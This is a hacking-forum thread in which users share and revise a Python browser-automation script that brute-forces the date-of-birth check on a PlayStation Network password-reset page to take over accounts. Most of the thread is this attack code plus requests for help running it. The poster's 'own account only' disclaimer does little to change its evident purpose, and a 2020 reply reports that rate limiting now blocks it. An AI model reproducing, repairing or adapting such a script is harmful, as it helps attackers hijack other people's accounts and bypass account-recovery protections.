

Forum:[Hack Forums](#)

Thread: [PSN Birthday Brute-Force](#)

airplane1 - June 27, 2016, 7:53 pm

Hey there,

I recently made a simple python app, script, code, call it whatever you want that tries all the possible dates. You need firefox installed and it should be the version before the latest, you also need splinter installed which you can get by simply writing in cmd

Code pip install splinter

Anyways, here the code, enjoy!

Code from splinter import Browser

```
year = [1988,1987, 1986, 1985, 1984, 1983, 1982, 1981, 1980, 1979, 1978, 1977, 1976, 1975,
1974, 1973, 1972, 1971, 1970,
        1969, 1968, 1967, 1966, 1965, 1964, 1963, 1962, 1961, 1960, 1959, 1958, 1957, 1956, 1955,
1954, 1953, 1952,
        1951, 1950, 1949, 1948, 1947]
month = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
day = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27,
28, 29, 30,
        31]
```

```
def start_bot():
    URL = raw_input("Enter reset password link: ")
    browser = Browser()
    browser.visit(URL)
    for i in year:
        browser.select('account.yob', str(i))
        for m in month:
            browser.select('account.mob', str(m))
            for d in day:
                print("Currently testing: {}/{}{}".format(m, d, i))
                browser.select('account.dob', str(d))
                browser.find_by_id("forgotPasswordContinueButton").click()
```

start_bot()

NOTE: This code was made to test it on my own account which I had full rights and access to, please do not attempt to do this on any other account that you do not own.

TheTwoSeerlooms - July 12, 2016, 5:15 pm

Hey, so I used your code, but I am getting an error that states there is some sort of syntax error about def start_bot().

I am using Python 3.4. Is this the reason? I changed the rest of the script accordingly (i.e. from raw_input --> input).

0x52-0x75-0x64-0x79 - July 12, 2016, 11:38 pm

(Jul 12, 2016 05:15 PM)TheTwoSeerlooms Wrote: [\[CITE\]](#) Hey, so I used your code, but I am getting an error that states there is some sort of syntax error about def start_bot().

I am using Python 3.4. Is this the reason? I changed the rest of the script accordingly (i.e. from raw_input --> input).
yes...

God - July 13, 2016, 5:18 am

I haven't tested it but it looks like a very useful program, nice work. Isn't there a much easier method or resetting the password if you forgot the DoB?

?Criminal - July 13, 2016, 5:51 am

Pretty sure this is patched people used to abuse this alot back in the day.

0x52-0x75-0x64-0x79 - July 13, 2016, 8:22 am

(Jun 27, 2016 07:53 PM)airplane1 Wrote: [\[CITE\]](#) NOTE: This code was made to test it on my own account which I had full rights and access to, please do not attempt to do this on any other account that you do not own.

Can OP confirm when this was last tested?

airplane1 - July 16, 2016, 12:38 am

(Jul 13, 2016 05:18 AM)smye Wrote: [\[CITE\]](#) I haven't tested it but it looks like a very useful program, nice work. Isn't there a much easier method or resetting the password if you forgot the DoB?I made this because I couldn't find a way to get a DoB back, so I did this instead.

(Jul 13, 2016 08:22 AM)0x52-0x75-0x64-0x79 Wrote: [\[CITE\]](#) Can OP confirm when this was last tested?It isn't patched, it just automates actions just as the user would. Which is why you need firefox installed.

Husnain5678 - March 14, 2017, 1:48 pm

Can any one confirm if this still works.

Also could some one help me out as me being a complete noob as this kind of stuff a step by step instructions on how to do so.

JKHA - March 18, 2020, 1:20 pm

Hi! I was wondering if this still works even if there is captcha that tests if you are a bot?

Alright, I have my answer. That does no longer works as Sony only allows 5 trials per 45 minutes...

Here is the code I've launch, even if that didn't succeed :/

```
from splinter import Browser
Code import time
```

```
year = [1999, 1998, 1997, 1996, 1995, 1994, 1993, 1992, 1991, 1990, 1989, 1988,1987, 1986,
1985, 1984, 1983, 1982, 1981, 1980, 1979, 1978, 1977, 1976, 1975, 1974, 1973, 1972, 1971, 1970,
1969, 1968, 1967, 1966, 1965, 1964, 1963, 1962, 1961, 1960, 1959, 1958, 1957, 1956, 1955,
1954, 1953, 1952,
1951, 1950, 1949, 1948, 1947]
month = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
day = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27,
28, 29, 30,
31]
```

```

def start_bot():
    URL = raw_input("Enter reset password link: ")
    browser = Browser()
    browser.visit(URL)
    # browser.find_by_name('pulldown-wrapper ').select_by_visible_text('DOB')
    # browser.choose('pulldown-wrapper ', 'DOB')
    # browser.find_by_name('primary-button row-button text-button').first.click()
    for i in range(10):
        print(i)
        time.sleep(1)

    # YOU HERE MUST CLICK ON SELECT BY BIRTH AND PRESS CONTINUE
    for i in year:

        select_year = browser.find_by_id('ember70')
        select_year[0].select('Year', str(i))
        for m in month:
            select_month = browser.find_by_id('ember23')
            select_month[0].select('Month', str(m))
            for d in day:
                select_month = browser.find_by_id('ember37')
                select_month[0].select('Day', str(d))
                continue_button = browser.find_by_id('ember193')
                continue_button.click()

start_bot()

```